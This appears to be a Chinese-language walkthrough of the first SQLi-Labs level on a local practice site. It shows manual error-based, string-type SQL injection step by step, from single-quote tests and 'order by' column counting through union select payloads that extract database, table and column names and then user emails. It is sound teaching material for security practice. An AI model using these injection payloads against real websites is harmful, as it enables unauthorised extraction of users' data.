Sql-Lib第一关

  • 漏洞类型:GET型 - 基于报错 - 单引号 - 字符型注入
  • 目标网址(本地靶场):http://www.sqllib.com/less-1/?id=
  • 目标:获取网站用户的邮箱

① 访问网址,测试是否存在SQL注入

正常访问

http://www.sqllib.com/less-1/?id=1

目前页面上在有两处显示信息

  • Your Login name:Dumb
  • Your Password:Dumb

正常访问

异常测试

http://www.sqllib.com/less-1/?id=1'

http://www.sqllib.com/less-1/?id=1' and ‘1

… …

单引号测试

布尔测试

报错信息

报错信息中,没有对我输入的单引号进行转义,传入的 id 参数有可能是字符型,后面注入时要尝试闭合单引号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’

② 查询当前网页,使用的表名,包含的字段数量

输入 order by 1~99,直到页面显示异常

order by 3--+

猜解字段数量

order by 4--+

猜解字段数量_2

③ 判断查询的信息,在页面显示的位置

union select 1,2,3

判断信息回显位置

如图,最终确认,2,3是信息回显的位置,后面的语句中,“1” 最好替换为 “null”

避免数据库出现异常。

④ 查询数据库名、表名

union select null,database(),version()--+

查询数据库、以及版本

union select null,table_schema,table_name from information_schema.tables where table_schema='security' limit 0,1--+

查询库中包含的表名

改变 limit m, n 中的 m, 从表中一行行查询 0~99

查询到users表

⑤ 查询 “security” 库中的 “emails” 表所包含的字段名

union select null,table_name,column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1--+

第一个字段

第二个字段

⑥ 获取用户邮箱信息

union select null,id,email_id from security.emails limit 0,1--+

查询用户邮箱

查询用户2

用户邮箱

总结

首先,要判断出从 id 传入的参数,是字符串,还是数字(int)型

  • 字符型要用 ’ ,",–+,#等注释,闭合单引号,或者注释对查询无用的 MySql 语句
id=' union select ... --+'
  • 数字型可以用 “-” 符号,布尔表达式
id=-1 union select ...
id=1 and 1=2 union select ...

然后,通过常见的报错信息,可以大致判断注入的类型(看运气,实战大多盲注)

最后,手工输入需要耐心和细心,有时候注入的语句没有效果

很有可能是手误敲错字母,漏掉了单引号之类的… …

有不足和错误之处,欢迎留言讨论~